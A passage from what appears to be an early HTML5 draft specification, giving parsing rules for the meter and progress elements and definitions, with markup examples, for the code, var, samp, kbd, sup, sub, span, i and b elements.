href="#high">high</a></code>, and <code   title=attr-meter-optimum><a href="#optimum">optimum</a></code> attributes   using the <a href="#rules1">rules for parsing floating point number   values</a>.  <p>If the <code title=attr-meter-value><a href="#value1">value</a></code>   attribute has been omitted, the user agent must also process the <code><a   href="#textcontent">textContent</a></code> of the element according to the   <a href="#steps">steps for finding one or two numbers of a ratio in a   string</a>. These steps will return nothing, one number, one number with a   denominator punctuation character, or two numbers.  <p>User agents must then use all these numbers to obtain values for six   points on the gauge, as follows. (The order in which these are evaluated   is important, as some of the values refer to earlier ones.)  <dl>   <dt>The minimum value   <dd>    <p>If the <code title=attr-meter-min><a href="#min">min</a></code>     attribute is specified and a value could be parsed out of it, then the     minimum value is that value. Otherwise, the minimum value is zero.</p>   <dt>The maximum value   <dd>    <p>If the <code title=attr-meter-max><a href="#max">max</a></code>     attribute is specified and a value could be parsed out of it, the     maximum value is that value.</p>    <p>Otherwise, if the <code title=attr-meter-max><a     href="#max">max</a></code> attribute is specified but no value could be     parsed out of it, or if it was not specified, but either or both of the     <code title=attr-meter-min><a href="#min">min</a></code> or <code     title=attr-meter-value><a href="#value1">value</a></code> attributes     <em>were</em> specified, then the maximum value is 1.</p>    <p>Otherwise, none of the <code title=attr-meter-max><a     href="#max">max</a></code>, <code title=attr-meter-min><a     href="#min">min</a></code>, and <code title=attr-meter-value><a     href="#value1">value</a></code> attributes were specified. If the result     of processing the <code><a href="#textcontent">textContent</a></code> of     the element was either nothing or just one number with no denominator     punctuation character, then the maximum value is 1; if the result was     one number but it had an associated denominator punctuation character,     then the maximum value is the <a href="#a-value" title="values     associated with denominator punctuation characters">value associated     with that denominator punctuation character</a>; and finally, if there     were two numbers parsed out of the <code><a     href="#textcontent">textContent</a></code>, then the maximum is the     higher of those two numbers.</p>    <p>If the above machinations result in a maximum value less than the     minimum value, then the maximum value is actually the same as the     minimum value.</p>   <dt>The actual value   <dd>    <p>If the <code title=attr-meter-value><a href="#value1">value</a></code>     attribute is specified and a value could be parsed out of it, then that     value is the actual value.</p>    <p>If the <code title=attr-meter-value><a href="#value1">value</a></code>     attribute is not specified but the <code title=attr-meter-max><a     href="#max">max</a></code> attribute <em>is</em> specified and the     result of processing the <code><a     href="#textcontent">textContent</a></code> of the element was one number     with no associated denominator punctuation character, then that number     is the actual value.</p>    <p>If neither of the <code title=attr-meter-value><a     href="#value1">value</a></code> and <code title=attr-meter-max><a     href="#max">max</a></code> attributes are specified, then, if the result     of processing the <code><a href="#textcontent">textContent</a></code> of     the element was one number (with or without an associated denominator     punctuation character), then that is the actual value, and if the result     of processing the <code><a href="#textcontent">textContent</a></code> of     the element was two numbers, then the actual value is the lower of the     two numbers found.</p>    <p>Otherwise, if none of the above apply, the actual value is zero.</p>    <p>If the above procedure results in an actual value less than the     minimum value, then the actual value is actually the same as the minimum     value.</p>    <p>If, on the other hand, the result is an actual value greater than the     maximum value, then the actual value is the maximum value.</p>   <dt>The low boundary   <dd>    <p>If the <code title=attr-meter-low><a href="#low">low</a></code>     attribute is specified and a value could be parsed out of it, then the     low boundary is that value. Otherwise, the low boundary is the same as     the minimum value.</p>    <p>If the above results in a low boundary that is less than the minimum     value, the low boundary is the minimum value.</p>   <dt>The high boundary   <dd>    <p>If the <code title=attr-meter-high><a href="#high">high</a></code>     attribute is specified and a value could be parsed out of it, then the     high boundary is that value. Otherwise, the high boundary is the same as     the maximum value.</p>    <p>If the above results in a high boundary that is higher than the     maximum value, the high boundary is the maximum value.</p>   <dt>The optimum point   <dd>    <p>If the <code title=attr-meter-optimum><a     href="#optimum">optimum</a></code> attribute is specified and a value     could be parsed out of it, then the optimum point is that value.     Otherwise, the optimum point is the midpoint between the minimum value     and the maximum value.</p>    <p>If the optimum point is then less than the minimum value, then the     optimum point is actually the same as the minimum value. Similarly, if     the optimum point is greater than the maximum value, then it is actually     the maximum value instead.</p>  </dl>  <p>All of which should result in the following inequalities all being true:  <ul class=brief>   <li>minimum value AMPERSANDle; actual value AMPERSANDle; maximum value   <li>minimum value AMPERSANDle; low boundary AMPERSANDle; high boundary AMPERSANDle; maximum value   <li>minimum value AMPERSANDle; optimum point AMPERSANDle; maximum value  </ul>  <p><strong>UA requirements for regions of the gauge</strong>: If the   optimum point is equal to the low boundary or the high boundary, or   anywhere in between them, then the region between the low and high   boundaries of the gauge must be treated as the optimum region, and the low   and high parts, if any, must be treated as suboptimal. Otherwise, if the   optimum point is less than the low boundary, then the region between the   minimum value and the low boundary must be treated as the optimum region,   the region between the low boundary and the high boundary must be treated   as a suboptimal region, and the region between the high boundary and the   maximum value must be treated as an even less good region. Finally, if the   optimum point is higher than the high boundary, then the situation is   reversed; the region between the high boundary and the maximum value must   be treated as the optimum region, the region between the high boundary and   the low boundary must be treated as a suboptimal region, and the remaining   region between the low boundary and the minimum value must be treated as   an even less good region.  <p><strong>UA requirements for showing the gauge</strong>: When   representing a <code><a href="#meter0">meter</a></code> element to the   user, the UA should indicate the relative position of the actual value to   the minimum and maximum values, and the relationship between the actual   value and the three regions of the gauge.  <div class=example>   <p>The following markup:</p>   <pre>AMPERSANDlt;h3>Suggested groupsAMPERSANDlt;/h3>AMPERSANDlt;menu type="toolbar"> AMPERSANDlt;a href="?cmd=hsg" onclick="hideSuggestedGroups()">Hide suggested groupsAMPERSANDlt;/a>AMPERSANDlt;/menu>AMPERSANDlt;ul> AMPERSANDlt;li>  AMPERSANDlt;p>AMPERSANDlt;a href="/group/comp.infosystems.www.authoring.stylesheets/view">comp.infosystems.www.authoring.stylesheetsAMPERSANDlt;/a> -     AMPERSANDlt;a href="/group/comp.infosystems.www.authoring.stylesheets/subscribe">joinAMPERSANDlt;/a>AMPERSANDlt;/p>  AMPERSANDlt;p>Group description: AMPERSANDlt;strong>Layout/presentation on the WWW.AMPERSANDlt;/strong>AMPERSANDlt;/p>  AMPERSANDlt;p><strong>AMPERSANDlt;meter value="0.5">Moderate activity,AMPERSANDlt;/meter></strong> Usenet, 618 subscribersAMPERSANDlt;/p> AMPERSANDlt;/li> AMPERSANDlt;li>  AMPERSANDlt;p>AMPERSANDlt;a href="/group/netscape.public.mozilla.xpinstall/view">netscape.public.mozilla.xpinstallAMPERSANDlt;/a> -     AMPERSANDlt;a href="/group/netscape.public.mozilla.xpinstall/subscribe">joinAMPERSANDlt;/a>AMPERSANDlt;/p>  AMPERSANDlt;p>Group description: AMPERSANDlt;strong>Mozilla XPInstall discussion.AMPERSANDlt;/strong>AMPERSANDlt;/p>  AMPERSANDlt;p><strong>AMPERSANDlt;meter value="0.25">Low activity,AMPERSANDlt;/meter></strong> Usenet, 22 subscribersAMPERSANDlt;/p> AMPERSANDlt;/li> AMPERSANDlt;li>  AMPERSANDlt;p>AMPERSANDlt;a href="/group/mozilla.dev.general/view">mozilla.dev.generalAMPERSANDlt;/a> -     AMPERSANDlt;a href="/group/mozilla.dev.general/subscribe">joinAMPERSANDlt;/a>AMPERSANDlt;/p>  AMPERSANDlt;p><strong>AMPERSANDlt;meter value="0.25">Low activity,AMPERSANDlt;/meter></strong> Usenet, 66 subscribersAMPERSANDlt;/p> AMPERSANDlt;/li>AMPERSANDlt;/ul></pre>   <p>Might be rendered as follows:</p>   <p><img alt="With the AMPERSANDlt;meter> elements rendered as inline green bars of    varying lengths." src=sample-meter.png></p>  </div>  <p>The <dfn id=min0 title=dom-meter-min><code>min</code></dfn>, <dfn   id=max0 title=dom-meter-max><code>max</code></dfn>, <dfn id=value2   title=dom-meter-value><code>value</code></dfn>, <dfn id=low0   title=dom-meter-low><code>low</code></dfn>, <dfn id=high0   title=dom-meter-high><code>high</code></dfn>, and <dfn id=optimum0   title=dom-meter-optimum><code>optimum</code></dfn> DOM attributes must   reflect the elements' content attributes of the same name. When the   relevant content attributes are absent, the DOM attributes must return   zero. The value parsed from the <code><a   href="#textcontent">textContent</a></code> never affects the DOM values.  <p class=big-issue>Would be cool to have the <code title=dom-meter-value><a   href="#value2">value</a></code> DOM attribute update the <code><a   href="#textcontent">textContent</a></code> in-line...</p>  <!-- XXXshould we also look inside the title="" attribute?   Disk usage: <meter title="985MB of 986MB total" high="980">Full!</meter>should we make the contents accessible in some way, e.g. as a tooltip?-->  <h4 id=the-progress><span class=secno>3.12.12. </span>The <dfn   id=progress0><code>progress</code></dfn> element</h4>  <p><a href="#strictly">Strictly inline-level content</a>.  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>Where <a href="#strictly">strictly inline-level content</a> is    allowed.   <dt>Content model:   <dd><a href="#strictly">Strictly inline-level content</a>.   <dt>Element-specific attributes:   <dd><code title=attr-progress-value><a href="#value3">value</a></code>   <dd><code title=attr-progress-max><a href="#max1">max</a></code>   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>    <pre     class=idl>interface <dfn id=htmlprogresselement>HTMLProgressElement</dfn> : <a href="#htmlelement">HTMLElement</a> {           attribute float <a href="#value4" title=dom-progress-value>value</a>;           attribute float <a href="#max2" title=dom-progress-max>max</a>;  readonly attribute float <a href="#position" title=dom-progress-position>position</a>;};</pre>  </dl>  <p>The <code><a href="#progress0">progress</a></code> element represents   the completion progress of a task. The progress is either indeterminate,   indicating that progress is being made but that it is not clear how much   more work remains to be done before the task is complete (e.g. because the   task is waiting for a remote host to respond), or the progress is a number   in the range zero to a maximum, giving the fraction of work that has so   far been completed.  <p>There are two attributes that determine the current task completion   represented by the element.  <p>The <dfn id=value3 title=attr-progress-value><code>value</code></dfn>   attribute specifies how much of the task has been completed, and the <dfn   id=max1 title=attr-progress-max><code>max</code></dfn> attribute specifies   how much work the task requires in total. The units are arbitrary and not   specified.  <p>Instead of using the attributes, authors are recommended to simply   include the current value and the maximum value inline as text inside the   element.  <div class=example>   <p>Here is a snippet of a Web application that shows the progress of some    automated task:</p>   <pre>AMPERSANDlt;section> AMPERSANDlt;h2>Task ProgressAMPERSANDlt;/h2> AMPERSANDlt;p>AMPERSANDlt;label>Progress: AMPERSANDlt;progress>AMPERSANDlt;span id="p">0AMPERSANDlt;/span>%AMPERSANDlt;/progress>AMPERSANDlt;/p> AMPERSANDlt;script>  var progressBar = document.getElementById('p');  function updateProgress(newValue) {    progressBar.textContent = newValue;  } AMPERSANDlt;/script>AMPERSANDlt;/section></pre>   <p>(The <code>updateProgress()</code> method in this example would be    called by some other code on the page to update the actual progress bar    as the task progressed.)</p>  </div>  <p><strong>Author requirements</strong>: The <code   title=attr-progress-max><a href="#max1">max</a></code> and <code   title=attr-progress-value><a href="#value3">value</a></code> attributes,   when present, must have values that are <a href="#valid1" title="valid   floating point number">valid floating point numbers</a>. The <code   title=attr-progress-max><a href="#max1">max</a></code> attribute, if   present, must have a value greater than zero. The <code   title=attr-progress-value><a href="#value3">value</a></code> attribute, if   present, must have a value equal to or greater than zero, and less than or   equal to the value of the <code title=attr-progress-max><a   href="#max1">max</a></code> attribute, if present.  <p><strong>User agent requirements</strong>: User agents must parse the   <code title=attr-progress-max><a href="#max1">max</a></code> and <code   title=attr-progress-value><a href="#value3">value</a></code> attributes'   values according to the <a href="#rules1">rules for parsing floating point   number values</a>.  <p>If the <code title=attr-progress-value><a   href="#value3">value</a></code> attribute is omitted, then user agents   must also parse the <code><a href="#textcontent">textContent</a></code> of   the <code><a href="#progress0">progress</a></code> element in question   using the <a href="#steps">steps for finding one or two numbers of a ratio   in a string</a>. These steps will return nothing, one number, one number   with a denominator punctuation character, or two numbers.  <p>Using the results of this processing, user agents must determine whether   the progress bar is an indeterminate progress bar, or whether it is a   determinate progress bar, and in the latter case, what its current and   maximum values are, all as follows:  <ol>   <li>If the <code title=attr-progress-max><a href="#max1">max</a></code>    attribute is omitted, and the <code title=attr-progress-value><a    href="#value3">value</a></code> is omitted, and the results of parsing    the <code><a href="#textcontent">textContent</a></code> was nothing, then    the progress bar is an indeterminate progress bar. Abort these steps.   <li>Otherwise, it is a determinate progress bar.   <li>If the <code title=attr-progress-max><a href="#max1">max</a></code>    attribute is included, then, if a value could be parsed out of it, then    the maximum value is that value.   <li>Otherwise, if the <code title=attr-progress-max><a    href="#max1">max</a></code> attribute is absent but the <code    title=attr-progress-value><a href="#value3">value</a></code> attribute is    present, or, if the <code title=attr-progress-max><a    href="#max1">max</a></code> attribute is present but no value could be    parsed from it, then the maximum is 1.   <li>Otherwise, if neither attribute is included, then, if the <code><a    href="#textcontent">textContent</a></code> contained one number with an    associated denominator punctuation character, then the maximum value is    the <span>value associated with that denominator punctuation    character</span>; otherwise, if the <code><a    href="#textcontent">textContent</a></code> contained two numbers, the    maximum value is the higher of the two values; otherwise, the maximum    value is 1.   <li>If the <code title=attr-progress-value><a    href="#value3">value</a></code> attribute is present on the element and a    value could be parsed out of it, that value is the current value of the    progress bar. Otherwise, if the attribute is present but no value could    be parsed from it, the current value is zero.   <li>Otherwise if the <code title=attr-progress-value><a    href="#value3">value</a></code> attribute is absent and the <code    title=attr-progress-max><a href="#max1">max</a></code> attribute is    present, then, if the <code><a href="#textcontent">textContent</a></code>    was parsed and found to contain just one number, with no associated    denominator punctuation character, then the current value is that number.    Otherwise, if the <code title=attr-progress-value><a    href="#value3">value</a></code> attribute is absent and the <code    title=attr-progress-max><a href="#max1">max</a></code> attribute is    present then the current value is zero.   <li>Otherwise, if neither attribute is present, then the current value is    the lower of the one or two numbers that were found in the <code><a    href="#textcontent">textContent</a></code> of the element.   <li>If the maximum value is less than or equal to zero, then it is reset    to 1.   <li>If the current value is less than zero, then it is reset to zero.   <li>Finally, if the current value is greater than the maximum value, then    the current value is reset to the maximum value.  </ol>  <p><strong>UA requirements for showing the progress bar</strong>: When   representing a <code><a href="#progress0">progress</a></code> element to   the user, the UA should indicate whether it is a determinate or   indeterminate progress bar, and in the former case, should indicate the   relative position of the current value relative to the maximum value.  <p>The <dfn id=max2 title=dom-progress-max><code>max</code></dfn> and <dfn   id=value4 title=dom-progress-value><code>value</code></dfn> DOM attributes   must reflect the elements' content attributes of the same name. When the   relevant content attributes are absent, the DOM attributes must return   zero. The value parsed from the <code><a   href="#textcontent">textContent</a></code> never affects the DOM values.  <p class=big-issue>Would be cool to have the <code   title=dom-progress-value><a href="#value4">value</a></code> DOM attribute   update the <code><a href="#textcontent">textContent</a></code> in-line...  <p>If the progress bar is an indeterminate progress bar, then the <dfn   id=position title=dom-progress-position><code>position</code></dfn> DOM   attribute must return -1. Otherwise, it must return the result of dividing   the current value by the maximum value.  <h4 id=the-code><span class=secno>3.12.13. </span>The <dfn   id=code0><code>code</code></dfn> element</h4>  <p><a href="#strictly">Strictly inline-level content</a>.  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>Where <a href="#strictly">strictly inline-level content</a> is    allowed.   <dt>Content model:   <dd>When used in an element whose content model is only <a    href="#strictly">strictly inline-level content</a>: only <a    href="#strictly">strictly inline-level content</a>.   <dd>Otherwise: any <a href="#inline-level1">inline-level content</a>.   <dt>Element-specific attributes:   <dd>None, but the <code title=attr-title><a    href="#title1">title</a></code> attribute has special semantics on this    element when used with the <code><a href="#dfn0">dfn</a></code> element.   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>No difference from <code><a    href="#htmlelement">HTMLElement</a></code>.  </dl>  <p>The <code><a href="#code0">code</a></code> element represents a fragment   of computer code. This could be an XML element name, a filename, a   computer program, or any other string that a computer would recognise.  <p class=note>See the <code><a href="#pre0">pre</a></code> element for more   detais.  <div class=example>   <p>The following example shows how a block of code could be marked up    using the <code><a href="#pre0">pre</a></code> and <code><a    href="#code0">code</a></code> elements.</p>   <pre>AMPERSANDlt;pre>AMPERSANDlt;code>var i: Integer;begin   i := 1;end.AMPERSANDlt;/code>AMPERSANDlt;/pre></pre>  </div>  <h4 id=the-var><span class=secno>3.12.14. </span>The <dfn   id=var0><code>var</code></dfn> element</h4>  <p><a href="#strictly">Strictly inline-level content</a>.  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>Where <a href="#strictly">strictly inline-level content</a> is    allowed.   <dt>Content model:   <dd><a href="#strictly">Strictly inline-level content</a>.   <dt>Element-specific attributes:   <dd>None, but the <code title=attr-title><a    href="#title1">title</a></code> attribute has special semantics on this    element when used with the <code><a href="#dfn0">dfn</a></code> element.   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>No difference from <code><a    href="#htmlelement">HTMLElement</a></code>.  </dl>  <p>The <code><a href="#var0">var</a></code> element represents a variable.   This could be an actual variable in a mathematical expression or   programming context, or it could just be a term used as a placeholder in   prose.  <div class=example>   <p>In the paragraph below, the letter "n" is being used as a variable in    prose:</p>   <pre>AMPERSANDlt;p>If there are AMPERSANDlt;var>nAMPERSANDlt;/var> pipes leading to the icecream factory then I expect at AMPERSANDlt;em>leastAMPERSANDlt;/em> AMPERSANDlt;var>nAMPERSANDlt;/var>flavours of ice cream to be available for purchase!AMPERSANDlt;/p></pre>  </div>  <h4 id=the-samp><span class=secno>3.12.15. </span>The <dfn   id=samp0><code>samp</code></dfn> element</h4>  <p><a href="#strictly">Strictly inline-level content</a>.  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>Where <a href="#strictly">strictly inline-level content</a> is    allowed.   <dt>Content model:   <dd>When used in an element whose content model is only <a    href="#strictly">strictly inline-level content</a>: only <a    href="#strictly">strictly inline-level content</a>.   <dd>Otherwise: any <a href="#inline-level1">inline-level content</a>.   <dt>Element-specific attributes:   <dd>None, but the <code title=attr-title><a    href="#title1">title</a></code> attribute has special semantics on this    element when used with the <code><a href="#dfn0">dfn</a></code> element.   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>No difference from <code><a    href="#htmlelement">HTMLElement</a></code>.  </dl>  <p>The <code><a href="#samp0">samp</a></code> element represents (sample)   output from a program or computing system.  <p class=note>See the <code><a href="#pre0">pre</a></code> and <code><a   href="#kbd0">kbd</a></code> elements for more detais.  <div class=example>   <p>This example shows the <code><a href="#samp0">samp</a></code> element    being used inline:</p>   <pre>AMPERSANDlt;p>The computer said AMPERSANDlt;samp>Too much cheese in traytwoAMPERSANDlt;/samp> but I didn't know what that meant.AMPERSANDlt;/p></pre>   <p>This second example shows a block of sample output. Nested <code><a    href="#samp0">samp</a></code> and <code><a href="#kbd0">kbd</a></code>    elements allow for the styling of specific elements of the sample output    using a style sheet.</p>   <!-- XXX should those nested SAMPs be SPANs? -->   <pre>AMPERSANDlt;pre>AMPERSANDlt;samp>AMPERSANDlt;samp class="prompt">jdoe@mowmow:~$AMPERSANDlt;/samp> AMPERSANDlt;kbd>ssh demo.example.comAMPERSANDlt;/kbd>Last login: Tue Apr 12 09:10:17 2005 from mowmow.example.com on pts/1Linux demo 2.6.10-grsec+gg3+e+fhs6b+nfs+gr0501+++p3+c4a+gr2b-reslog-v6.189 #1 SMP Tue Feb 1 11:22:36 PST 2005 i686 unknownAMPERSANDlt;samp class="prompt">jdoe@demo:~$AMPERSANDlt;/samp> AMPERSANDlt;samp class="cursor">_AMPERSANDlt;/samp>AMPERSANDlt;/samp>AMPERSANDlt;/pre></pre>  </div>  <h4 id=the-kbd><span class=secno>3.12.16. </span>The <dfn   id=kbd0><code>kbd</code></dfn> element</h4>  <p><a href="#strictly">Strictly inline-level content</a>.  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>Where <a href="#strictly">strictly inline-level content</a> is    allowed.   <dt>Content model:   <dd><a href="#strictly">Strictly inline-level content</a>.   <dt>Element-specific attributes:   <dd>None.   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>No difference from <code><a    href="#htmlelement">HTMLElement</a></code>.  </dl>  <p>The <code><a href="#kbd0">kbd</a></code> element represents user input   (typically keyboard input, although it may also be used to represent other   input, such as voice commands).  <p>When the <code><a href="#kbd0">kbd</a></code> element is nested inside a   <code><a href="#samp0">samp</a></code> element, it represents the input as   it was echoed by the system.  <p>When the <code><a href="#kbd0">kbd</a></code> element <em>contains</em>   a <code><a href="#samp0">samp</a></code> element, it represents input   based on system output, for example invoking a menu item.  <p>When the <code><a href="#kbd0">kbd</a></code> element is nested inside   another <code><a href="#kbd0">kbd</a></code> element, it represents an   actual key or other single unit of input as appropriate for the input   mechanism.  <div class=example>   <p>Here the <code><a href="#kbd0">kbd</a></code> element is used to    indicate keys to press:</p>   <pre>AMPERSANDlt;p>To make George eat an apple, press AMPERSANDlt;kbd>AMPERSANDlt;kbd>ShiftAMPERSANDlt;/kbd>+AMPERSANDlt;kbd>F3AMPERSANDlt;/kbd>AMPERSANDlt;/kbd>AMPERSANDlt;/p></pre>   <p>In this second example, the user is told to pick a particular menu    item. The outer <code><a href="#kbd0">kbd</a></code> element marks up a    block of input, with the inner <code><a href="#kbd0">kbd</a></code>    elements representing each individual step of the input, and the <code><a    href="#samp0">samp</a></code> elements inside them indicating that the    steps are input based on something being displayed by the system, in this    case menu labels:</p>   <pre>AMPERSANDlt;p>To make George eat an apple, select    AMPERSANDlt;kbd>AMPERSANDlt;kbd>AMPERSANDlt;samp>FileAMPERSANDlt;/samp>AMPERSANDlt;/kbd>|AMPERSANDlt;kbd>AMPERSANDlt;samp>Eat Apple...AMPERSANDlt;/samp>AMPERSANDlt;/kbd>AMPERSANDlt;/kbd>AMPERSANDlt;/p></pre>  </div>  <h4 id=the-sup><span class=secno>3.12.17. </span>The <dfn   id=sup0><code>sup</code></dfn> and <dfn id=sub0><code>sub</code></dfn>   elements</h4>  <p><a href="#strictly">Strictly inline-level content</a>.  <dl class=element>   <dt>Contexts in which these elements may be used:   <dd>Where <a href="#strictly">strictly inline-level content</a> is    allowed.   <dt>Content model:   <dd><a href="#strictly">Strictly inline-level content</a>.   <dt>Element-specific attributes:   <dd>None.   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>No difference from <code><a    href="#htmlelement">HTMLElement</a></code>.  </dl>  <p>The <code><a href="#sup0">sup</a></code> element represents a   superscript and the <code><a href="#sub0">sub</a></code> element   represents a subscript.  <p>These elements must only be used to mark up typographical conventions   with specific meanings, not for typographical presentation for   presentation's sake. For example, it would be inappropriate for the   <code><a href="#sup0">sup</a></code> and <code><a   href="#sub0">sub</a></code> elements to be used in the name of the LaTeX   document preparation system. In general, authors should not use these   elements if the <em>absence</em> of those elements would not change the   meaning of the content.  <p>When the <code><a href="#sub0">sub</a></code> element is used inside a   <code><a href="#var0">var</a></code> element, it represents the subscript   that identifies the variable in a family of variables.  <div class=example>   <pre>AMPERSANDlt;p>The coordinate of the AMPERSANDlt;var>iAMPERSANDlt;/var>th point is(AMPERSANDlt;var>xAMPERSANDlt;sub>AMPERSANDlt;var>iAMPERSANDlt;/var>AMPERSANDlt;/sub>AMPERSANDlt;/var>, AMPERSANDlt;var>yAMPERSANDlt;sub>AMPERSANDlt;var>iAMPERSANDlt;/var>AMPERSANDlt;/sub>AMPERSANDlt;/var>).For example, the 10th point has coordinate(AMPERSANDlt;var>xAMPERSANDlt;sub>10AMPERSANDlt;/sub>AMPERSANDlt;/var>, AMPERSANDlt;var>yAMPERSANDlt;sub>10AMPERSANDlt;/sub>AMPERSANDlt;/var>).AMPERSANDlt;/p></pre>  </div>  <p>In certain languages, superscripts are part of the typographical   conventions for some abbreviations.  <div class=example>   <pre>AMPERSANDlt;p>The most beautiful women areAMPERSANDlt;span lang="fr">AMPERSANDlt;abbr>MAMPERSANDlt;sup>lleAMPERSANDlt;/sup>AMPERSANDlt;/abbr> GwendolineAMPERSANDlt;/span> and AMPERSANDlt;span lang="fr">AMPERSANDlt;abbr>MAMPERSANDlt;sup>meAMPERSANDlt;/sup>AMPERSANDlt;/abbr> DeniseAMPERSANDlt;/span>.AMPERSANDlt;/p></pre>  </div>  <p>Mathematical expressions often use subscripts and superscripts.   <!--Authors are encouraged to use MathML for marking up mathematics, but  authors may opt to use <code>sub</code> and <code>sup</code> if  detailed mathematical markup is not desired. <a  href="#refsMathML">[MathML]</a>--></p>  <!-- XXXX -->  <div class=example>   <pre>AMPERSANDlt;var>EAMPERSANDlt;/var>=AMPERSANDlt;var>mAMPERSANDlt;/var>AMPERSANDlt;var>cAMPERSANDlt;/var>AMPERSANDlt;sup>2AMPERSANDlt;/sup></pre>   <pre>f(AMPERSANDlt;var>xAMPERSANDlt;/var>, AMPERSANDlt;var>nAMPERSANDlt;/var>) = logAMPERSANDlt;sub>4AMPERSANDlt;/sub>AMPERSANDlt;var>xAMPERSANDlt;/var>AMPERSANDlt;sup>AMPERSANDlt;var>nAMPERSANDlt;/var>AMPERSANDlt;/sup></pre>  </div>  <h4 id=the-span><span class=secno>3.12.18. </span>The <dfn   id=span0><code>span</code></dfn> element</h4>  <p><a href="#strictly">Strictly inline-level content</a>.  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>Where <a href="#strictly">strictly inline-level content</a> is    allowed.   <dt>Content model:   <dd>When used in an element whose content model is only <a    href="#strictly">strictly inline-level content</a>: only <a    href="#strictly">strictly inline-level content</a>.   <dd>Otherwise: any <a href="#inline-level1">inline-level content</a>.   <dt>Element-specific attributes:   <dd>None, but the <code title=attr-title><a    href="#title1">title</a></code> attribute has special semantics on this    element when used with the <code><a href="#dfn0">dfn</a></code> element.   <dt>Predefined classes that apply to this element:   <dd><code title=class-copyright><a    href="#copyright0">copyright</a></code>, <code title=class-error><a    href="#error0">error</a></code>, <code title=class-example><a    href="#example1">example</a></code>, <code title=class-issue><a    href="#issue0">issue</a></code>, <code title=class-note><a    href="#note0">note</a></code>, <code title=class-search><a    href="#search1">search</a></code>, <code title=class-warning><a    href="#warning0">warning</a></code>   <dt>DOM interface:   <dd>No difference from <code><a    href="#htmlelement">HTMLElement</a></code>.  </dl>  <p>The <code><a href="#span0">span</a></code> element doesn't mean anything   on its own, but can be useful when used together with other attributes,   e.g. <code title=attr-class><a href="#class6">class</a></code>, <code   title=attr-lang><a href="#lang0">lang</a></code>, or <code   title=attr-dir><a href="#dir0">dir</a></code>, or when used in conjunction   with the <code><a href="#dfn0">dfn</a></code> element.</p>  <!-- XXX need examples -->  <h4 id=the-i><span class=secno>3.12.19. </span>The <dfn   id=i0><code>i</code></dfn> element</h4>  <p><a href="#strictly">Strictly inline-level content</a>.  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>Where <a href="#strictly">strictly inline-level content</a> is    allowed.   <dt>Content model:   <dd><a href="#strictly">Strictly inline-level content</a>.   <dt>Element-specific attributes:   <dd>None, but the <code title=attr-title><a    href="#title1">title</a></code> attribute has special semantics on this    element when used with the <code><a href="#dfn0">dfn</a></code> element.   <dt>Predefined classes that apply to this element:   <dd>None.</dd>   <!-- XXX ship? name? dream? -->   <dt>DOM interface:   <dd>No difference from <code><a    href="#htmlelement">HTMLElement</a></code>.  </dl>  <p>The <code><a href="#i0">i</a></code> element represents a span of text   in an alternate voice or mood, or otherwise offset from the normal prose,   such as a taxonomic designation, a technical term, an idiomatic phrase   from another language, a thought, a ship name, or some other prose whose   typical typographic presentation is italicized.  <p>Terms in languages different from the main text should be annotated with   <code title=attr-lang><a href="#lang0">lang</a></code> attributes (<code   title=attr-xml-lang><a href="#xmllang0">xml:lang</a></code> in XML).  <div class=example>   <p>The examples below show uses of the <code><a href="#i0">i</a></code>    element:</p>   <pre>AMPERSANDlt;p>The AMPERSANDlt;i>felis silvestris catusAMPERSANDlt;/i> is cute.AMPERSANDlt;/p>AMPERSANDlt;p>The AMPERSANDlt;i>block-level elementsAMPERSANDlt;/i> are defined above.AMPERSANDlt;/p>AMPERSANDlt;p>There is a certain AMPERSANDlt;i lang="fr">je ne sais quoiAMPERSANDlt;/i> in the air.AMPERSANDlt;/p></pre>   <p>In the following example, a dream sequence is marked up using <code><a    href="#i0">i</a></code> elements.</p>   <pre>AMPERSANDlt;p>Raymond tried to sleep.AMPERSANDlt;/p>AMPERSANDlt;p>AMPERSANDlt;i>The ship sailed away on ThursdayAMPERSANDlt;/i>, hedreamt. AMPERSANDlt;i>The ship had many people aboard, including a beautifulprincess called Carey. He watched her, day-in, day-out, hoping shewould notice him, but she never did.AMPERSANDlt;/i>AMPERSANDlt;/p>AMPERSANDlt;p>AMPERSANDlt;i>Finally one night he picked up the courage to speak withherAMPERSANDmdash;AMPERSANDlt;/i>AMPERSANDlt;/p>AMPERSANDlt;p>Raymond woke with a start as the fire alarm rang out.AMPERSANDlt;/p></pre>  </div>  <p>The <code><a href="#i0">i</a></code> element should be used as a last   resort when no other element is more appropriate. In particular, citations   should use the <code><a href="#cite3">cite</a></code> element, defining   instances of terms should use the <code><a href="#dfn0">dfn</a></code>   element, stress emphasis should use the <code><a href="#em0">em</a></code>   element, importance should be denoted with the <code><a   href="#strong0">strong</a></code> element, quotes should be marked up with   the <code><a href="#q0">q</a></code> element, and small print should use   the <code><a href="#small0">small</a></code> element.  <p class=note>Style sheets can be used to format <code><a   href="#i0">i</a></code> elements, just like any other element can be   restyled. Thus, it is not the case that content in <code><a   href="#i0">i</a></code> elements will necessarily be italicised.  <h4 id=the-b><span class=secno>3.12.20. </span>The <dfn   id=b0><code>b</code></dfn> element</h4>  <p><a href="#strictly">Strictly inline-level content</a>.  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>Where <a href="#strictly">strictly inline-level content</a> is    allowed.   <dt>Content model:   <dd><a href="#strictly">Strictly inline-level content</a>.   <dt>Element-specific attributes:   <dd>None.   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>No difference from <code><a    href="#htmlelement">HTMLElement</a></code>.  </dl>  <p>The <code><a href="#b0">b</a></code> element represents a span of text   to be stylistically offset from the normal prose without conveying any   extra importance, such as key words in a document abstract, product names   in a review, or other spans of text whose typical typographic presentation   is boldened.  <div class=example>   <p>The following example shows a use of the <code><a    href="#b0">b</a></code> element to highlight key words without marking    them up as important:</p>   <pre>AMPERSANDlt;p>The 